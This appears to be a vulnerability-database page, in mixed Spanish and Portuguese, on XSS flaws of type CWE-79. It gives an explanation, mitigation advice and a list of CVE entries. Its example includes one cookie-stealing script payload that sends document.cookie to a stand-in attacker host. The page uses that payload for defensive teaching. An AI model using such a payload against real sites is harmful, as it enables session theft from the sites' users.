Fallos del tipo CWE-79

29.654 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-52857MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-33327MEDIUMA cross-site scripting (XSS) vulnerability in the component UrlAccessibilityEvaluation.jsp of Lumisxp v15.0.x to v16.1.x allows attackers toEPSS 0.4%CVE-2025-2582MEDIUMSimpleMachines SMF ManageAttachments.php cross site scriptingEPSS 0.4%CVE-2024-4085MEDIUMTabellen von faustball.com <= 2.0.4 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2023-41874HIGHWordPress Order Delivery Date for WooCommerce Plugin <= 3.20.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-36385HIGHWordPress PostX – Gutenberg Blocks for Post Grid Plugin <= 2.9.9 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-47687HIGHFOGProject has stored XSS via unescaped option label in selectForm() accessible from unauthenticated inventory endpointEPSS 0.4%CVE-2023-36501HIGHWordPress teachPress Plugin <= 9.0.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-52861MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-27421HIGHWordPress Everest News Theme <= 1.1.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-4523CRITICALReal Time Automation 460 Series Cross-site ScriptingEPSS 0.4%CVE-2023-48314HIGHUnescaped passing of the request URL in Collabora OnlineEPSS 0.4%CVE-2025-3302HIGHXagio SEO <= 7.1.0.16 - Unauthenticated Stored Cross-Site Scripting via 'HTTP_REFERER'EPSS 0.4%CVE-2024-23178MEDIUMAn issue was discovered in the Phonos extension in MediaWiki before 1.40.2. PhonosButton.js allows i18n-based XSS via the phonos-purge-needeEPSS 0.4%CVE-2023-36689HIGHWordPress WPFactory Helper Plugin <= 1.5.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-36384HIGHWordPress Booking Calendar Contact Form Plugin <= 1.2.40 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-1080MEDIUMBeaver Builder – WordPress Page Builder <= 2.7.4.4 - Authenticated(Contributor+) Stored Cross-Site Scripting via heading tagEPSS 0.4%CVE-2024-1242MEDIUMPremium Addons for Elementor <= 4.10.18 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-7683MEDIUMSourceCodester Kortex Lite Advocate Office Management System addcase_stage.php cross site scriptingEPSS 0.4%CVE-2022-45838MEDIUMWordPress ARForms Form Builder Plugin <= 1.5.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%